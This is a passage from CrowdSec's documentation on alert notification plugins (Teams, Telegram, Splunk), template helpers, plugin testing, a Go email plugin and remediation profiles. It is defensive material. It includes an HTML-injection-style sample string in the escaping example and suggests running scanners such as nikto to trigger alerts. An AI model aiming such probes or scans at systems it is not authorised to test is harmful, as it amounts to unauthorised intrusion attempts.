enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. SHCOPY ``` cscli notifications test splunk_default ``` note If you have changed the `name` property in the configuration file, you should replace `splunk_default` with the new name. ## Enabling the plugin[โ€‹](#enabling-the-plugin "Direct link to Enabling the plugin") In your profiles you will need to uncomment the `notifications` key and the `splunk_default` plugin list item. TEXTCOPY ``` #notifications: # - splunk_default ``` note If you have changed the `name` property in the configuration file, you should replace `splunk_default` with the new name. warning Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. Example profile with Splunk plugin enabled YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) notifications: - splunk_default on_success: break ``` ## Final Steps:[โ€‹](#final-steps "Direct link to Final Steps:") Let's restart crowdsec SHCOPY ``` sudo systemctl restart crowdsec ``` You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto etc. --- # Microsoft Teams The following guide shows how to configure, test and enable HTTP plugin to forward Alerts to Microsoft Teams. ## Configuring the plugin[โ€‹](#configuring-the-plugin "Direct link to Configuring the plugin") By default the configuration for HTTP plugin is located at these default location per OS: * **Linux** `/etc/crowdsec/notifications/http.yaml` * **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml` * **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml` Simply replace the whole content in this file with this example below. ### Base configuration[โ€‹](#base-configuration "Direct link to Base configuration") This configuration uses the base Alert to drive the information if you wish to see additional details then see [Alert Context Configuration](#additional-alert-context) for more information. YAMLCOPY ``` # Don't change this type: http name: http_default # this must match with the registered plugin in the profile log_level: debug # Options include: trace, debug, info, warn, error, off format: | { "type": "message", "attachments": [ { "contentType": "application/vnd.microsoft.card.adaptive", "content": { "$schema": "https://adaptivecards.io/schemas/adaptive-card.json", "type": "AdaptiveCard", "version": "1.2", {{- range . -}} {{- $decisions_len := len .Decisions -}} {{- range $index, $element := .Decisions -}} "body": [ { "type": "TextBlock", "text": "[Info] CrowdSec", "wrap": true, "size": "large", "weight": "bolder", "fontType": "Default" }, { "type": "FactSet", "facts": [ { "title": "IP:", "value": "{{$element.Value}}" }, { "title": "Duration:", "value": "{{$element.Duration}}" }, { "title": "Reason:", "value": "{{$element.Scenario}}" }, { "title": "Origin:", "value": "{{$element.Origin}}" }, { "title": "Simulation:", "value": "{{$element.Simulated}}" } ] }, { "type": "RichTextBlock", "inlines": [ { "type": "TextRun", "text": "\"{{ $element.Value }}\" got a ban for {{ $element.Duration }}." } ] }, { "type": "ActionSet", "actions": [ { "type": "Action.OpenUrl", "title": "Whois", "url": "https://www.whois.com/whois/{{ $element.Value }}", "style": "positive" }, { "type": "Action.OpenUrl", "title": "Shodan", "url": "https://www.shodan.io/host/{{ $element.Value }}", "style": "positive" }, { "type": "Action.OpenUrl", "title": "AbuseIPDB", "url": "https://www.abuseipdb.com/check/{{ $element.Value }}", "style": "positive" } ] }, { "type": "ActionSet", "actions": [ { "type": "Action.OpenUrl", "title": "Unban IP in CAPI", "url": "https://crowdsec.net/unban-my-ip/", "style": "positive" } ], } {{- if lt $index (sub $decisions_len 1) -}} , {{- end -}} {{- end -}} {{- end -}} ] } } ] } # CrowdSec-Channel url: https://mycompany.webhook.office.com/webhookb2/{TOKEN} # Test netcat #url: "http://127.0.0.1:5555" method: POST # eg either of "POST", "GET", "PUT" and other http verbs is valid value. headers: Content-Type: application/json # Authorization: token 0x64312313 # skip_tls_verification: # either true or false. Default is false # group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s" # group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10" # max_retry: # number of tries to attempt to send message to plugins in case of error. # timeout: # duration to wait for response from plugin before considering this attempt a failure. eg "10s" ``` ### Additional Alert Context[โ€‹](#additional-alert-context "Direct link to Additional Alert Context") If you have enabled [Alert Context](https://docs.crowdsec.net/u/user_guides/alert_context.md) you can add additional fields to the alert, the following `format` loops over all context that is available within the Alert. So simply following the previous linked guide will be enough to enable these fields to show within the template. YAMLCOPY ``` # Don't change this type: http name: http_default # this must match with the registered plugin in the profile log_level: debug # Options include: trace, debug, info, warn, error, off format | { "type": "message", "attachments": [ { "contentType": "application/vnd.microsoft.card.adaptive", "content": { "$schema": "https://adaptivecards.io/schemas/adaptive-card.json", "type": "AdaptiveCard", "version": "1.2", {{- range . -}} {{ $alert := . -}} {{ $metaLen := len .Meta -}} {{- $decisions_len := len .Decisions -}} {{- range $index, $element := .Decisions -}} "body": [ { "type": "TextBlock", "text": "[Info] CrowdSec", "wrap": true, "size": "large", "weight": "bolder", "fontType": "Default" }, { "type": "FactSet", "facts": [ { "title": "IP:", "value": "{{$element.Value}}" }, { "title": "Duration:", "value": "{{$element.Duration}}" }, { "title": "Reason:", "value": "{{$element.Scenario}}" }, { "title": "Origin:", "value": "{{$element.Origin}}" }, { "title": "Simulation:", "value": "{{$element.Simulated}}" }{{ if gt $metaLen 0 -}},{{end}} {{ range $metaIndex, $meta := $alert.Meta -}} { "title": "{{.Key}}", "value": "{{ (splitList "," (.Value | replace "\"" "`" | replace "[" "" |replace "]" "")) | join "\\n"}}" }{{ if lt $metaIndex (sub $metaLen 1)}},{{end}} {{ end -}} ] }, { "type": "RichTextBlock", "inlines": [ { "type": "TextRun", "text": "\"{{ $element.Value }}\" got a ban for {{ $element.Duration }}." } ] }, { "type": "ActionSet", "actions": [ { "type": "Action.OpenUrl", "title": "Whois", "url": "https://www.whois.com/whois/{{ $element.Value }}", "style": "positive" }, { "type": "Action.OpenUrl", "title": "Shodan", "url": "https://www.shodan.io/host/{{ $element.Value }}", "style": "positive" }, { "type": "Action.OpenUrl", "title": "AbuseIPDB", "url": "https://www.abuseipdb.com/check/{{ $element.Value }}", "style": "positive" } ] }, { "type": "ActionSet", "actions": [ { "type": "Action.OpenUrl", "title": "Unban IP in CAPI", "url": "https://crowdsec.net/unban-my-ip/", "style": "positive" } ], } {{- if lt $index (sub $decisions_len 1) -}} , {{- end -}} {{- end -}} {{- end -}} ] } } ] } # CrowdSec-Channel url: https://mycompany.webhook.office.com/webhookb2/{TOKEN} # Test netcat #url: "http://127.0.0.1:5555" method: POST # eg either of "POST", "GET", "PUT" and other http verbs is valid value. headers: Content-Type: application/json # Authorization: token 0x64312313 # skip_tls_verification: # either true or false. Default is false # group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s" # group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10" # max_retry: # number of tries to attempt to send message to plugins in case of error. # timeout: # duration to wait for response from plugin before considering this attempt a failure. eg "10s" ``` **Note** * Don't forget to replace the webhook with your own webhook * See [microsoft docs](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook) for instructions to obtain a webhook. * The `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. ## Testing the plugin[โ€‹](#testing-the-plugin "Direct link to Testing the plugin") Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. SHCOPY ``` cscli notifications test http_default ``` note If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. ## Enabling the plugin[โ€‹](#enabling-the-plugin "Direct link to Enabling the plugin") In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item. TEXTCOPY ``` #notifications: # - http_default ``` note If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. warning Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. Example profile with http plugin enabled YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) notifications: - http_default on_success: break ``` ## Final Steps:[โ€‹](#final-steps "Direct link to Final Steps:") Let's restart crowdsec SHCOPY ``` sudo systemctl restart crowdsec ``` --- # Telegram CrowdSec can forward Alerts to telegram via the HTTP plugin. This guide will show you how to configure the HTTP plugin to send alerts to your Telegram chat. ## Configuring the plugin[โ€‹](#configuring-the-plugin "Direct link to Configuring the plugin") By default the configuration for HTTP plugin is located at these default location per OS: * **Linux** `/etc/crowdsec/notifications/http.yaml` * **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml` * **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml` ### Base configuration[โ€‹](#base-configuration "Direct link to Base configuration") You can replace the file contents with the following configuration: Replace `chat_id` within the format section so that it send the events to your Telegram chat. If you need to get your chat ID, follow the instructions [here](https://stackoverflow.com/questions/32423837/telegram-bot-how-to-get-a-group-chat-id). Replace `XXX:YYY` within the URL section with your Telegram BOT API key. If you need to generate a BOT API key, follow the instructions [here](https://core.telegram.org/bots#how-do-i-create-a-bot). YAMLCOPY ``` type: http # Don't change name: http_default # Must match the registered plugin in the profile # One of "trace", "debug", "info", "warn", "error", "off" log_level: info # group_wait: # Time to wait collecting alerts before relaying a message to this plugin, eg "30s" # group_threshold: # Amount of alerts that triggers a message before has expired, eg "10" # max_retry: # Number of attempts to relay messages to plugins in case of error # timeout: # Time to wait for response from the plugin before considering the attempt a failure, eg "10s" #------------------------- # plugin-specific options # The following template receives a list of models.Alert objects # The output goes in the http request body # Replace XXXXXXXXX with your Telegram chat ID format: | { "chat_id": "-XXXXXXXXX", "text": " {{range . -}} {{$alert := . -}} {{range .Decisions -}} {{.Value}} will get {{.Type}} for next {{.Duration}} for triggering {{.Scenario}}. {{end -}} {{end -}} ", "reply_markup": { "inline_keyboard": [ {{ $arrLength := len . -}} {{ range $i, $value := . -}} {{ $V := $value.Source.Value -}} [ { "text": "See {{ $V }} on shodan.io", "url": "https://www.shodan.io/host/{{ $V -}}" }, { "text": "See {{ $V }} on crowdsec.net", "url": "https://app.crowdsec.net/cti/{{ $V -}}" } ]{{if lt $i ( sub $arrLength 1) }},{{end }} {{end -}} ] } url: https://api.telegram.org/botXXX:YYY/sendMessage # Replace XXX:YYY with your API key method: POST headers: Content-Type: "application/json" ``` ## Testing the plugin[โ€‹](#testing-the-plugin "Direct link to Testing the plugin") Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. SHCOPY ``` cscli notifications test http_default ``` note If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. ## Enabling the plugin[โ€‹](#enabling-the-plugin "Direct link to Enabling the plugin") In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item. TEXTCOPY ``` #notifications: # - http_default ``` note If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. warning Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. Example profile with http plugin enabled YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) notifications: - http_default on_success: break ``` ## Final Steps:[โ€‹](#final-steps "Direct link to Final Steps:") Let's restart crowdsec SHCOPY ``` sudo systemctl restart crowdsec ``` You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto. --- # Templating helpers In order to simplify some operation in the templates, we provide some custom helpers. ## Sprig[โ€‹](#sprig "Direct link to Sprig") The [Sprig](https://masterminds.github.io/sprig/) library is available in the templates, and provides a lot of useful functions. Refer to the sprig documentation for more information. ## CrowdSec specific helpers[โ€‹](#crowdsec-specific-helpers "Direct link to CrowdSec specific helpers") ### `HTMLEscape`[โ€‹](#htmlescape "Direct link to htmlescape") info When displaying untrusted data sources, such as metadata (for example, URIs), it is best to use this function to prevent the data from being rendered in notifications that support HTML format, such as emails. The string is processed through the [`html.EscapeString`](https://pkg.go.dev/html#EscapeString) function, which converts special characters into their HTML-encoded equivalents. GOCOPY ``` {{ "I am not escaped" }} // I am not escaped {{ "I am escaped" | HTMLEscape }} // I am <img src=x /> escaped ``` note This function only escapes five specific characters: | Character | Escape Sequence | | --------- | --------------- | | `<` | `<` | | `>` | `>` | | `&` | `&` | | `'` | `'` | | `"` | `"` | It does not provide comprehensive sanitization. ### `Hostname`[โ€‹](#hostname "Direct link to hostname") Returns the hostname of the machine running crowdsec. ### `GetMeta(alert, key)`[โ€‹](#getmetaalert-key "Direct link to getmetaalert-key") Return the list of meta values for the given key in the specified alert. GOCOPY ``` {{ range . }} {{ $alert := .}} {{ GetMeta $alert "username"}} {{ end }} ``` ### `CrowdsecCTI`[โ€‹](#crowdseccti "Direct link to crowdseccti") Queries the crowdsec CTI API to get information about an IP based on the smoke database. Documentation on the available fields and methods is [here](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/cticlient#SmokeItem). GOCOPY ``` {{range . -}} {{$alert := . -}} :flag-{{$alert.Source.Cn}}: triggered *{{$alert.Scenario}}* ({{$alert.Source.AsName}}) : Maliciousness Score is {{- $cti := $alert.Source.IP | CrowdsecCTI -}} {{" "}}{{mulf $cti.GetMaliciousnessScore 100 | floor}} % {{- end }} ``` --- # Testing notification plugins This guide walks through practical ways to validate a notification plugin, from config checks to end-to-end delivery. INFOCOPY ``` Template updates are picked up by the `cscli notifications` commands while testing. Restart CrowdSec only after you are satisfied with the changes. ``` ## When to use test vs reinject[โ€‹](#when-to-use-test-vs-reinject "Direct link to When to use test vs reinject") * `cscli notifications test` sends a generic alert directly to a plugin. The plugin does not need to be active in any profile for this to work. * `cscli notifications reinject` replays a real alert through the profiles pipeline, so filters and profile settings apply. It can also include additional meta fields present in real alerts, which are not part of the generic test alert. ## Pre-flight checklist[โ€‹](#pre-flight-checklist "Direct link to Pre-flight checklist") 1. Confirm the plugin binary and config file exist in the directories defined by `config_paths.plugin_dir` and `config_paths.notification_dir`. By default, standard packages already ship these; this check is mainly for custom installations. 2. If you plan to test via profiles (using `reinject`), make sure the plugin config `name` matches the name used in your profile `notifications` list. 3. If the plugin uses environment variables, export them before testing (see [Introduction](https://docs.crowdsec.net/docs/next/local_api/notification_plugins/intro.md)). Example profile snippet: YAMLCOPY ``` notifications: - slackreport ``` ## Check plugin status and config[โ€‹](#check-plugin-status-and-config "Direct link to Check plugin status and config") List plugins and ensure yours is enabled: SHCOPY ``` cscli notifications list ``` Inspect a specific plugin to confirm the resolved configuration: SHCOPY ``` cscli notifications inspect slackreport ``` ## Send a direct test notification[โ€‹](#send-a-direct-test-notification "Direct link to Send a direct test notification") Send a generic alert directly to the plugin: SHCOPY ``` cscli notifications test slackreport ``` Override fields in the generic alert to match your formatting or routing logic: SHCOPY ``` cscli notifications test slackreport -a '{"scenario":"notification/test","remediation":true}' ``` If your plugin relies on secrets from environment variables, pass them inline or export them in your shell: SHCOPY ``` SMTP_PASSWORD=your_password cscli notifications test email_default ``` ## Reinject a real alert through profiles[โ€‹](#reinject-a-real-alert-through-profiles "Direct link to Reinject a real alert through profiles") Find an alert ID to replay using the default table output: SHCOPY ``` cscli alerts list ``` Example output: TEXTCOPY ``` cscli alerts list โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ ID โ”‚ value โ”‚ reason โ”‚ country โ”‚ as โ”‚ decisions โ”‚ created_at โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ 2843 โ”‚ Ip:10.0.12.10 โ”‚ crowdsecurity/http-probing โ”‚ GB โ”‚ 64500 ExampleNet โ”‚ ban:1 โ”‚ 2026-01-13T09:13:25Z โ”‚ โ”‚ 2837 โ”‚ Ip:10.0.21.71 โ”‚ crowdsecurity/http-backdoors-attempts โ”‚ GB โ”‚ 64501 ExampleCloud โ”‚ ban:1 โ”‚ 2026-01-13T07:50:53Z โ”‚ โ”‚ 2836 โ”‚ Ip:10.0.33.50 โ”‚ crowdsecurity/http-crawl-non_statics โ”‚ GB โ”‚ 64502 ExampleHosting โ”‚ ban:1 โ”‚ 2026-01-13T06:12:26Z โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` Grab the ID from the `ID` column and use it with `cscli notifications reinject`. Reinject the alert through the profiles pipeline: SHCOPY ``` cscli notifications reinject ``` Override fields if needed to match your profile filter: SHCOPY ``` cscli notifications reinject -a '{"remediation": true}' ``` If nothing is sent, confirm the profile filter matches the alert fields you are setting (for example, `Alert.Remediation == true`). ## Expected outcomes[โ€‹](#expected-outcomes "Direct link to Expected outcomes") What "success" looks like depends on the plugin: * **HTTP/Teams/Telegram/Slack**: a delivered message or a 2xx response from the endpoint. * **File**: a new line appended to the configured file. * **Email**: a delivered message or an entry in the SMTP logs. * **Splunk/Elastic/Sentinel**: a new event ingested in the target index or workspace. If you get a response but no visible output, double-check the plugin-specific filters and templates. ## Make reinject match your profiles[โ€‹](#make-reinject-match-your-profiles "Direct link to Make reinject match your profiles") If your profile filters depend on fields like `scenario`, `remediation`, or the source IP, override them in the reinjected alert: SHCOPY ``` cscli notifications reinject -a '{"scenario":"notification/test","remediation":true,"source":{"value":"10.0.12.10"}}' ``` This is useful when your profile uses conditions such as `Alert.Remediation == true` or specific scenarios. ## Troubleshooting signals[โ€‹](#troubleshooting-signals "Direct link to Troubleshooting signals") * Use `--debug` with `cscli` to surface plugin errors or config parsing issues. * Check the CrowdSec service logs for plugin startup or gRPC errors. * For file or HTTP-based plugins, verify that the target file or endpoint is being written to. --- # Writing Plugin in Go In this guide we will implement a plugin in Go, which dispatches an email with specificied body on receiving alerts. Full code for this plugin can be found in [crowdsec repo](https://github.com/crowdsecurity/crowdsec/tree/master/plugins/notifications/email) Before we begin, make sure you read [intro](https://docs.crowdsec.net/docs/next/local_api/notification_plugins/intro.md) Let's start by creating a new go project in a fresh directory: SHCOPY ``` mkdir notification-email cd notification-email go mod init notification-email touch main.go ``` We will write all the plugin related code in the `main.go` file. The plugin is responsible for 1. Receiving and interpreting the configuration received from CrowdSec's main process. 2. Receiving alerts messages from CrowdSec and dispatching them to email etc. All the communication between CrowdSec's main process and the plugin happens via gRPC. Luckily the `github.com/crowdsecurity/crowdsec/pkg/protobufs` package has everything to do that. Let's start with defining the third party dependencies and adding some utilities. In your `main.go` we add: GOCOPY ``` package main import ( "context" "fmt" "os" "github.com/crowdsecurity/crowdsec/pkg/protobufs" "github.com/hashicorp/go-hclog" plugin "github.com/hashicorp/go-plugin" mail "github.com/xhit/go-simple-mail/v2" "gopkg.in/yaml.v2" ) var logger hclog.Logger = hclog.New(&hclog.LoggerOptions{ Name: "email-plugin", Level: hclog.LevelFromString("DEBUG"), Output: os.Stderr, JSONFormat: true, }) ``` Note that the logs should be structured in order for the main process to interpret it. For our plugin to function, we need to know several credentials to send an email. Let's define a struct which expresses this. GOCOPY ``` type PluginConfig struct { Name string `yaml:"name"` LogLevel *string `yaml:"log_level"` SMTPHost string `yaml:"smtp_host"` SMTPPort int `yaml:"smtp_port"` SMTPUsername string `yaml:"smtp_username"` SMTPPassword string `yaml:"smtp_password"` SenderEmail string `yaml:"sender_email"` ReceiverEmail string `yaml:"receiver_email"` } ``` The struct will be unmarshal target of a yaml configuration file, hence the `yaml` hints. Next we need to implement the plugin interface `Notifier`. GOCOPY ``` type Notifier interface { Configure(ctx context.Context, config *protobufs.Config) (*protobufs.Empty, error) Notify(ctx context.Context, notification *protobufs.Notification) (*protobufs.Empty, error) } ``` Here the `Configure` method receives `config` which is essentially contents of a yaml config file. The plugin would use this method to capture and store the received config. The `Notify` method receives `notification` which has two attributes `Text`: List of Alert objects formatted into specified format `Name`: Name of configuration for which this notification is sent to. Let's define another struct which implements this interface and stores the config. GOCOPY ``` type EmailPlugin struct { ConfigByName map[string]PluginConfig } ``` We map the config by its name because then it will be easy to adapt to configuration specified by the `notification`. Finally let's implement the `Configure` method. GOCOPY ``` func (n *EmailPlugin) Configure(ctx context.Context, config *protobufs.Config) (*protobufs.Empty, error) { d := PluginConfig{} if err := yaml.Unmarshal(config.Config, &d); err != nil { return nil, err } n.ConfigByName[d.Name] = d return &protobufs.Empty{}, nil } ``` It simply unmarshals the raw `config` into `PluginConfig` struct and stores it into the map for future use. Let's implement the `Notify` method. GOCOPY ``` func (n *EmailPlugin) Notify(ctx context.Context, notification *protobufs.Notification) (*protobufs.Empty, error) { if _, ok := n.ConfigByName[notification.Name]; !ok { return nil, fmt.Errorf("invalid plugin config name %s", notification.Name) } cfg := n.ConfigByName[notification.Name] if cfg.LogLevel != nil && *cfg.LogLevel != "" { logger.SetLevel(hclog.LevelFromString(*cfg.LogLevel)) } else { logger.SetLevel(hclog.Info) } server := mail.NewSMTPClient() server.Host = cfg.SMTPHost server.Port = cfg.SMTPPort server.Username = cfg.SMTPUsername server.Password = cfg.SMTPPassword server.Encryption = mail.EncryptionSTARTTLS smtpClient, err := server.Connect() if err != nil { return nil, err } email := mail.NewMSG() email.SetFrom(fmt.Sprintf("From <%s>", cfg.SenderEmail)). AddTo(cfg.ReceiverEmail). SetSubject("CrowdSec Notification") email.SetBody(mail.TextHTML, notification.Text) err = email.Send(smtpClient) if err != nil { return nil, err } else { logger.Info(fmt.Sprintf("sent email to %s according to %s configuration", cfg.ReceiverEmail, notification.Name)) } return nil, nil } ``` There are lot of things going on. Let's unpack: 1. In the first block we verify whether the `notification`'s configuration is present. 2. Then we set the log level according to the configuration. 3. In the second block we initiate a SMTP client using the `notification`'s configuration. 4. In the third block we send the email with body equal to the `notification.Text`. Finally let's define the entrypoint `main` function which serves and hoists the plugin for CrowdSec main process. GOCOPY ``` func main() { var handshake = plugin.HandshakeConfig{ ProtocolVersion: 1, MagicCookieKey: "CROWDSEC_PLUGIN_KEY", MagicCookieValue: os.Getenv("CROWDSEC_PLUGIN_KEY"), } plugin.Serve(&plugin.ServeConfig{ HandshakeConfig: handshake, Plugins: map[string]plugin.Plugin{ "email": &protobufs.NotifierPlugin{ Impl: &EmailPlugin{ConfigByName: make(map[string]PluginConfig)}, }, }, GRPCServer: plugin.DefaultGRPCServer, Logger: logger, }) } ``` The `CROWDSEC_PLUGIN_KEY` environment variable is provided by the main process when calling the plugin. It is used to make sure that the right plugin is dispatched. The `plugin.Serve` is a method provided by `go-plugin` dependency we earlier defined. It creates a GRPC server which exposes the plugin interface. Now let's build the plugin and paste it in `/usr/local/lib/crowdsec/plugins/` so CrowdSec can discover it. SHCOPY ``` go build sudo cp notification-email /var/lib/crowdsec/plugins/ ``` Next we need to write a configuration file for the plugin. Here's an example: YAMLCOPY ``` # Don't change this type: email name: email_default # this must match with the registered plugin in the profile log_level: info # Options include: trace, debug, info, warn, error, off format: | # This template receives list of models.Alert objects CrowdSec detected an attack. smtp_host: smtp.google.com smtp_username: abcd smtp_password: xyz smtp_port: 587 sender_email: example@gmail.com receiver_email: examplereceiver@gmail.com # group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s" # group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10" # max_retry: # number of tries to attempt to send message to plugins in case of error. # timeout: # duration to wait for response from plugin before considering this attempt a failure. eg "10s" ``` Replace the values as necessary and paste it in `/etc/crowdsec/notifications/email.yaml` . Now the final step, register the plugin in your crowdsec profile at `/etc/crowdsec/profiles.yaml`, by adding the following to desired config. YAMLCOPY ``` notifications: - email_default ``` Example profile: YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - 1==1 decisions: - type: ban duration: 4h notifications: - email_default on_success: break ``` Do the `sudo systemctl restart crowdsec` and we're done. You can try triggering alerts by creating manual decisions and verify whether you recive an email. --- # Captcha Here is an example of a profile that provides users with a captcha challenge when they trigger a HTTP scenario. info You **MUST** have configured a remediation component that supports captcha challenges, see [Remediation](https://docs.crowdsec.net/u/bouncers/intro.md). YAMLCOPY ``` name: captcha_remediation filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" && Alert.GetScenario() contains "http" ## Any scenario with http in its name will trigger a captcha challenge decisions: - type: captcha duration: 4h on_success: break --- name: default_ip_remediation filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: "Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)" on_success: break ``` The key piece of profile to point out is the `on_success` directive. It is set to `break` to ensure that the alert will not be evaluated by other profiles so the offender will only get a captcha decision. However, you may want to provide a limit to captcha challenges within a period of time to a given IP address because they may ignore your captcha challenges and still cause load on your server. You can use the `GetDecisionsCount` or `GetDecisionsSinceCount` helper to achieve this: YAMLCOPY ``` name: captcha_remediation filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" && Alert.GetScenario() contains "http" && GetDecisionsSinceCount(Alert.GetValue(), "24h") <= 3 ## Same as above but only 3 captcha decision per 24 hours before ban decisions: - type: captcha duration: 4h on_success: break --- name: default_ip_remediation filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: "Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)" on_success: break ``` --- # CrowdSec CTI Here is an example of a profile that uses the CTI module. info You **MUST** configure the CTI beforehand, see [CTI helpers](https://docs.crowdsec.net/docs/next/expr/cti_helpers.md). ### Background Noise Score[โ€‹](#background-noise-score "Direct link to Background Noise Score") Background noise score can be used to inform you if the ip address is noisy or not. You can use this information to make the decision more or less aggressive. YAMLCOPY ``` name: high_bn_score on_error: continue filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" && CrowdsecCTI(Alert.GetValue()).GetBackgroundNoiseScore() > 6 && !CrowdsecCTI(Alert.GetValue()).IsFalsePositive() decisions: - type: ban duration: 24h on_success: break --- name: mid_bn_score on_error: continue filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" && CrowdsecCTI(Alert.GetValue()).GetBackgroundNoiseScore() >= 3 && !CrowdsecCTI(Alert.GetValue()).IsFalsePositive() decisions: - type: ban duration: 12h on_success: break --- name: default_ip_remediation filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: "Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)" on_success: break ``` A key piece of profile to point out is the `on_error` directive. It is set to `continue` to ensure that the alert will continue to be evaluated even if your API key is rate limited. You could also use the background noise within the `duration_expr` to make the ban duration proportional to the background noise score: YAMLCOPY ``` name: bn_score on_error: continue filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" && CrowdsecCTI(Alert.GetValue()).GetBackgroundNoiseScore() > 0 && !CrowdsecCTI(Alert.GetValue()).IsFalsePositive() decisions: - type: ban duration: 12h duration_expr: "Sprintf('%dm', (240 